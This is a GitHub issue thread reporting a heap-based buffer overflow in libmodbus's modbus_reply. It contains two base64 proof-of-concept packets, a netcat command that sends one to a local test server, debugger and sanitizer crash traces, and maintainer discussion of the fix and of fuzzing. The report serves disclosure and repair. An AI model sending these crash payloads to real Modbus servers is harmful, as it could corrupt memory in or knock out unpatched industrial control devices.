Heap-based Buffer Overflow in modbus_reply #614

Closed AiDaiP opened this issue on Dec 22, 2021 · 13 comments

Assignees

AiDaiP commented on Dec 22, 2021 • edited

libmodbus version

ebc4f47

OS and/or distribution

Ubuntu 20.04 focal

Environment

,AMD EPYC 7742 64-Core @ 16x 2.25GHz

Description

Heap-based Buffer Overflow in _modbus_receive_msg

Expected behaviour

no crash.

Actual behaviour

double free or corruption (!prev)

Steps to reproduce the behavior (commands or source code)

libmodbus/tests/unit-test-server.c

```
./unit-test-server
echo "A90AAAAN/xcBYgABAIQAAQLXEQ==" | base64 -d | nc 127.0.0.1 1502



pwndbg> c
Continuing.
The client connection from 127.0.0.1 is accepted
Waiting for an indication...
<03><DD><00><00><00><0D><FF><17><01><62><00><01><00><84><00><01><02><D7><11>

Breakpoint 3, modbus_reply (ctx=0x5555555592a0, req=0x555555559320 <incomplete sequence \335>,
req_length=<optimized out>, mb_mapping=<optimized out>) at modbus.c:979
979                     i < mapping_address_write + nb_write; i++, j += 2) {
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ REGISTERS
]──────────────────────────────────────────────
*RAX  0x8
*RBX  0x7
*RCX  0x555555559430 ◂— 0x13000000025 /* '%' */
*RDX  0x2
*RDI  0x7fffffffde64 ◂— 0x17000000ff
*RSI  0x7fffffffde70 ◂— 0x17ff7fff0000dd03
*R8   0x0
*R9   0x0
*R10  0x2
*R11  0xffffff24
*R12  0xff
*R13  0x5555555592a0 ◂— 0x4000000ff
*R14  0x9
*R15  0x7fffffffde70 ◂— 0x17ff7fff0000dd03
*RBP  0x555555559320 ◂— 0x17ff0d000000dd03
*RSP  0x7fffffffde20 ◂— 0x3
*RIP  0x7ffff7fbda62 (modbus_reply+1250) ◂— jle    0x7ffff7fbdaa1
──────────────────────────────────────────────[ DISASM
]──────────────────────────────────────────────
 ► 0x7ffff7fbda62 <modbus_reply+1250>    jle    modbus_reply+1313
<modbus_reply+1313>

   0x7ffff7fbda64 <modbus_reply+1252>    mov    r8d, dword ptr [rsp + 0x34]
   0x7ffff7fbda69 <modbus_reply+1257>    movsxd rdi, r11d
   0x7ffff7fbda6c <modbus_reply+1260>    lea    rdx, [rbx + 2]
   0x7ffff7fbda70 <modbus_reply+1264>    add    rdi, rdi
   0x7ffff7fbda73 <modbus_reply+1267>    sub    rdi, rbx
   0x7ffff7fbda76 <modbus_reply+1270>    lea    rsi, [rdx + r8*2]
   0x7ffff7fbda7a <modbus_reply+1274>    add    rdi, qword ptr [rcx + 0x38]
   0x7ffff7fbda7e <modbus_reply+1278>    jmp    modbus_reply+1284
<modbus_reply+1284>
    ↓
   0x7ffff7fbda84 <modbus_reply+1284>    movzx  eax, byte ptr [rbp + rbx + 0xa]
   0x7ffff7fbda89 <modbus_reply+1289>    movzx  r8d, byte ptr [rbp + rbx + 0xb]
```

```
──────────────────────────────────────────[ SOURCE (CODE)
]──────────────────────────────────────────
In file: /home/aidai/fuzzing/libmodbus/test/libmodbus/src/modbus.c
   974             rsp[rsp_length++] = nb << 1;
   975
   976             /* Write first.
   977                10 and 11 are the offset of the first values to write */
   978             for (i = mapping_address_write, j = 10;
 ► 979                  i < mapping_address_write + nb_write; i++, j += 2) {
   980                 mb_mapping->tab_registers[i] =
   981                     (req[offset + j] << 8) + req[offset + j + 1];
   982             }
   983
   984             /* and read the data for the response */
──────────────────────────────────────────────[ STACK
]──────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde20 ◂— 0x3
01:0008│     0x7fffffffde28 ◂— 0x5555ffffff25
02:0010│     0x7fffffffde30 ◂— 0x7fff00000008
03:0018│     0x7fffffffde38 ◂— 0x8
04:0020│     0x7fffffffde40 ◂— 0x200000001
05:0028│     0x7fffffffde48 —▸ 0x555555559430 ◂— 0x13000000025 /* '%' */
06:0030│     0x7fffffffde50 ◂— 0xffffff24
07:0038│     0x7fffffffde58 ◂— 0x1300000000
──────────────────────────────────────────[ BACKTRACE
]──────────────────────────────────────────
 ► f 0   0x7ffff7fbda62 modbus_reply+1250
   f 1   0x555555555734 main+692
   f 2   0x7ffff7dd80b3 __libc_start_main+243
──────────────────────────────────────────────────────────────────────────────────────────────────

pwndbg> bt
#0  modbus_reply (ctx=0x5555555592a0, req=0x555555559320 <incomplete sequence \335>, req_length=
<optimized out>, mb_mapping=<optimized out>) at modbus.c:979
#1  0x0000555555555734 in main (argc=argc@entry=1, argv=argv@entry=0x7fffffffe128) at unit-test-
server.c:183
#2  0x00007ffff7dd80b3 in __libc_start_main (main=0x555555555480 <main>, argc=1,
argv=0x7fffffffe128, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
stack_end=0x7fffffffe118) at ../csu/libc-start.c:308
#3  0x0000555555555a0e in _start ()
pwndbg> x/10gx 0x555555559310-0x10
0x555555559300: 0x000005de00000000      0x2e302e302e373231
0x555555559310: 0x0000000000000031      0x0000000000000111
0x555555559320: 0x17ff0d000000dd03      0x0100840001006201
0x555555559330: 0x000000000011d702      0x0000000000000000
0x555555559340: 0x0000000000000000      0x0000000000000000
pwndbg> c
Continuing.

Hardware watchpoint 2: *0x555555559318

Old value = 273
New value = 55057
modbus_reply (ctx=0x5555555592a0, req=0x555555559320 <incomplete sequence \335>, req_length=
<optimized out>, mb_mapping=<optimized out>) at modbus.c:979
979                     i < mapping_address_write + nb_write; i++, j += 2) {
```

```
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────[ REGISTERS
]──────────────────────────────────────────
*RAX  0xd711
 RBX  0x7
 RCX  0x555555559430 ◂— 0x13000000025 /* '%' */
*RDX  0x9
*RDI  0x555555559311 ◂— 0x1100000000000000
*RSI  0x9
*R8   0x11
 R9   0x0
 R10  0x2
 R11  0xffffff24
 R12  0xff
 R13  0x5555555592a0 ◂— 0x4000000ff
 R14  0x9
 R15  0x7fffffffde70 ◂— 0x17ff7fff0000dd03
 RBP  0x555555559320 ◂— 0x17ff0d000000dd03
 RSP  0x7fffffffde20 ◂— 0x3
*RIP  0x7ffff7fbda99 (modbus_reply+1305) ◂— mov    rbx, rdx
───────────────────────────────────────────[ DISASM
]──────────────────────────────────────────
   0x7ffff7fbda84 <modbus_reply+1284>    movzx  eax, byte ptr [rbp + rbx + 0xa]
   0x7ffff7fbda89 <modbus_reply+1289>    movzx  r8d, byte ptr [rbp + rbx + 0xb]
   0x7ffff7fbda8f <modbus_reply+1295>    shl    eax, 8
   0x7ffff7fbda92 <modbus_reply+1298>    add    eax, r8d
   0x7ffff7fbda95 <modbus_reply+1301>    mov    word ptr [rdi + rbx], ax
 ► 0x7ffff7fbda99 <modbus_reply+1305>    mov    rbx, rdx
   0x7ffff7fbda9c <modbus_reply+1308>    cmp    rsi, rdx
   0x7ffff7fbda9f <modbus_reply+1311>    jne    modbus_reply+1280
<modbus_reply+1280>

   0x7ffff7fbdaa1 <modbus_reply+1313>    cmp    dword ptr [rsp], r10d
   0x7ffff7fbdaa5 <modbus_reply+1317>    jle    modbus_reply+239                <modbus_reply+239>

   0x7ffff7fbdaab <modbus_reply+1323>    mov    rdx, qword ptr [rcx + 0x38]
───────────────────────────────────────────[ SOURCE (CODE)
]──────────────────────────────────────────
In file: /home/aidai/fuzzing/libmodbus/test/libmodbus/src/modbus.c
   974             rsp[rsp_length++] = nb << 1;
   975
   976             /* Write first.
   977                10 and 11 are the offset of the first values to write */
   978             for (i = mapping_address_write, j = 10;
 ► 979                  i < mapping_address_write + nb_write; i++, j += 2) {
   980                 mb_mapping->tab_registers[i] =
   981                     (req[offset + j] << 8) + req[offset + j + 1];
   982             }
   983
   984             /* and read the data for the response */
───────────────────────────────────────────[ STACK
]──────────────────────────────────────────
00:0000│ rsp 0x7fffffffde20 ◂— 0x3
01:0008│     0x7fffffffde28 ◂— 0x5555ffffff25
02:0010│     0x7fffffffde30 ◂— 0x7fff00000008
03:0018│     0x7fffffffde38 ◂— 0x8
```

```
04:0020│     0x7fffffffde40 ◂— 0x200000001
05:0028│     0x7fffffffde48 —▸ 0x555555559430 ◂— 0x13000000025 /* '%' */
06:0030│     0x7fffffffde50 ◂— 0xffffff24
07:0038│     0x7fffffffde58 ◂— 0x1300000000
────────────────────────────────────────────[ BACKTRACE
]──────────────────────────────────────────
 ► f 0   0x7ffff7fbda99 modbus_reply+1305
   f 1   0x555555555734 main+692
   f 2   0x7ffff7dd80b3 __libc_start_main+243
──────────────────────────────────────────────────────────────────────────────────────────────


pwndbg> x/10gx 0x555555559310-0x10
0x555555559300: 0x000005de00000000      0x2e302e302e373231
0x555555559310: 0x0000000000000031      0x000000000000d711
0x555555559320: 0x17ff0d000000dd03      0x0100840001006201
0x555555559330: 0x000000000011d702      0x0000000000000000
0x555555559340: 0x0000000000000000      0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x61

Allocated chunk | PREV_INUSE
Addr: 0x5555555592f0
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555559310
Size: 0xd711

Allocated chunk
Addr: 0x555555566a20
Size: 0x00
```

then, ctrl+c close the nc.

```
pwndbg> c
Continuing.
[03][DD][00][00][00][05][FF][17][02][00][00]
Waiting for an indication...
ERROR Connection reset by peer: read
Quit the loop: Connection reset by peer
double free or corruption (!prev)

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
50      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS
```

```
]──────────────────────────────────────────
*RAX  0x0
*RBX  0x7ffff7dae740 ◂— 0x7ffff7dae740
*RCX  0x7ffff7df718b (raise+203) ◂— mov    rax, qword ptr [rsp + 0x108]
*RDX  0x0
*RDI  0x2
*RSI  0x7fffffffdbd0 ◂— 0x0
*R8   0x0
*R9   0x7fffffffdbd0 ◂— 0x0
*R10  0x8
*R11  0x246
*R12  0x7fffffffde40 ◂— 0x2
*R13  0x10
*R14  0x7ffff7ffb000 ◂— 0x62756f6400001000
*R15  0x1
*RBP  0x7fffffffdf20 —▸ 0x7ffff7f9cb80 (main_arena) ◂— 0x0
*RSP  0x7fffffffdbd0 ◂— 0x0
*RIP  0x7ffff7df718b (raise+203) ◂— mov    rax, qword ptr [rsp + 0x108]
──────────────────────────────────────────[ DISASM
]──────────────────────────────────────────
 ► 0x7ffff7df718b <raise+203>    mov    rax, qword ptr [rsp + 0x108]
   0x7ffff7df7193 <raise+211>    xor    rax, qword ptr fs:[0x28]
   0x7ffff7df719c <raise+220>    jne    raise+260                <raise+260>
    ↓
   0x7ffff7df71c4 <raise+260>    call   __stack_chk_fail                <__stack_chk_fail>

   0x7ffff7df71c9                nop    dword ptr [rax]
   0x7ffff7df71d0 <killpg>       endbr64
   0x7ffff7df71d4 <killpg+4>     test   edi, edi
   0x7ffff7df71d6 <killpg+6>     js     killpg+16                <killpg+16>

   0x7ffff7df71d8 <killpg+8>     neg    edi
   0x7ffff7df71da <killpg+10>    jmp    kill                <kill>

   0x7ffff7df71df <killpg+15>    nop
──────────────────────────────────────────[ STACK
]──────────────────────────────────────────
00:0000│ rsi r9 rsp 0x7fffffffdbd0 ◂— 0x0
01:0008│            0x7fffffffdbd8 ◂— 0x0
02:0010│            0x7fffffffdbe0 ◂— 0x2f2f2f2f2f2f2f2f ('////////')
03:0018│            0x7fffffffdbe8 —▸ 0x7ffff7dc61e0 ◂— 0x10001200001694
04:0020│            0x7fffffffdbf0 —▸ 0x7fffffffdf90 —▸ 0x5555555592a0 ◂— 0x4000000ff
05:0028│            0x7fffffffdbf8 —▸ 0x7ffff7fe7c2e ◂— mov    r11, rax
06:0030│            0x7fffffffdc00 ◂— 0x0
07:0038│            0x7fffffffdc08 —▸ 0x7ffff7ec2987 (close+23) ◂— cmp    rax, -0x1000 /* 'H=' */
──────────────────────────────────────────[ BACKTRACE
]──────────────────────────────────────────
 ► f 0   0x7ffff7df718b raise+203
   f 1   0x7ffff7dd6859 abort+299
   f 2   0x7ffff7e413ee __libc_message+670
   f 3   0x7ffff7e4947c
   f 4   0x7ffff7e4b12c _int_free+1900
   f 5   0x555555555783 main+771
   f 6   0x7ffff7dd80b3 __libc_start_main+243
──────────────────────────────────────────────────────────────────────────────────────────────────
```

```
pwndbg>
```

libmodbus output with debug mode enabled

```
./unit-test-server
The client connection from 127.0.0.1 is accepted
Waiting for an indication...
<03><DD><00><00><00><0D><FF><17><01><62><00><01><00><84><00><01><02><D7><11>
[03][DD][00][00][00][05][FF][17][02][00][00]
Waiting for an indication...
ERROR Connection reset by peer: read
Quit the loop: Connection reset by peer
double free or corruption (!prev)
[1]    3966417 abort      ./unit-test-server
```

AiDaiP changed the title ~~Heap-based Buffer Overflow in stephane/libmodbus~~ Heap-based Buffer Overflow in _modbus_receive_msg on Dec 22, 2021

AiDaiP changed the title ~~Heap-based Buffer Overflow in _modbus_receive_msg~~ Heap-based Buffer Overflow in modbus_reply on Jan 3

AiDaiP commented on Jan 3 Author

Another poc

```
base64 poc
/+AAHwBa/xcBYAAgAV4AAQIQNAAADf8PABAAAw==
```

JonasToth commented on Jan 7 • edited

```
❯ ./tests/unit-test-server
The client connection from 127.0.0.1 is accepted
Waiting for an indication...
<03><DD><00><00><00><0D><FF><17><01><62><00><01><00><84><00><01><02><D7><11>
AddressSanitizer:DEADLYSIGNAL
=================================================================
```

```
==174549==ERROR: AddressSanitizer: SEGV on unknown address 0x605fffffffec8 (pc 0x7fd8514abc62 bp 0x7ff
==174549==The signal is caused by a WRITE memory access.
    #0 0x7fd8514abc62 in modbus_reply /XXX/src/libmodbus/build/src/../../src/modbus.c:980:46
    #1 0x4cbcaf in main /XXX/src/libmodbus/build/tests/../../tests/unit-test-server.c:183:14
    #2 0x7fd85112a564 in __libc_start_main csu/../csu/libc-start.c:332:16
    #3 0x41c40d in _start (/XXX/src/libmodbus/build/tests/.libs/unit-test-server+0x41c40d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /XXX/src/libmodbus/build/src/../../src/modbus.c:980:46 in modbus_repl
==174549==ABORTING
```

I can reproduce the issue and address sanitizer spots the issue, too.

Built with

```
$ cd <libmodbus-src>
$ mkdir -p build
$ cd build
$ CC=clang-13 CFLAGS="-fsanitize=address -g -O0" LDFLAGS="-fsanitize=address" ../configure
$ make -j8
$ ./tests/unit-test-server
$ <run POC>
```

JonasToth commented on Jan 7

Note: This is very likely a security issue, maybe this can be made private for now **@stephane** ?

stephane self-assigned this on Jan 7

stephane commented on Jan 7 Owner

I think it's too late to made it private now.

I'm struggle to fund this project and I'm very busy these days.
Could someone propose a PR for this issue?

mhei commented on Jan 8 Contributor

@AiDaiP and **@JonasToth** : can you apply the fix of my PR and check whether this fixes the issue on your side? Thanks.

👍 2

stephane commented on Jan 8 Owner

With the nice fix of **@mhei**:

```
The client connection from 127.0.0.1 is accepted
Waiting for an indication...
<FF><E0><00><1F><00><5A><FF><17><01><60><00><20><01><5E><00><01><02><10><34>
Illegal data read address 0x180 or write address 0x15E write_and_read_registers
[FF][E0][00][00][00][03][FF][97][02]
```

stephane closed this as completed in `b4ef4c1` on Jan 8

---

stephane mentioned this issue on Jan 8

testing twice for mapping_address < 0 #506

Closed

JonasToth commented on Jan 10

@mhei , **@stephane** thank you for the fix!
I verified it, both POCs don't trigger any ASAN issues anymore.

A general question: Are the sanitizers already integrated into CI? I would contribute such changes if you like.

Another thing: **@AiDaiP** what fuzzer did you use? Maybe a general target and/or OSS-Fuzz integration would be helpful to spot such issues earlier? Again, I would fight for a bit of time from my employer to contribute.

Should there be a CVE for this issue?

AiDaiP commented on Jan 10 Author

I used my ugly fuzzer.
I also tested it with AFL. It can find the crash but very slow. The seed is generated by unit-test-client and tcpdump.

JonasToth commented on Jan 10

I was thinking about creating a few `libfuzzer` targets. Would that work? That could directly fuzz the interesting business logic and not care so much about the TCP/RTU stuff.

But even AFL would not be an issue if its possible to integrate it into OSS-Fuzz, i guess

AiDaiP commented on Jan 10 Author

I think libfuzzer will work. The TCP/RTU stuff takes a long time and it is very boring.

👍 1

JonasToth commented on Jan 10

My understanding is, that you are working for a company at this right now? Are you investing time anyway or was this a one-off effort?

I just want to avoid duplicated work :)

AiDaiP commented on Jan 10 Author

I'm a senior student. I'm doing this for my paper.

👍 2

JonasToth commented on Jan 10

Ok. I think its best if at the end of the day the fuzzing gets integrated into this project.
I am happy to help there, but given this is a paper the "it was your work" part is important, too!

If the result of your work is just the paper without the project integration, I would try to pick it up from there.

Assignees

stephane

Labels

None yet

Projects

None yet

Milestone

Milestone

No milestone

Development

No branches or pull requests

---

4 participants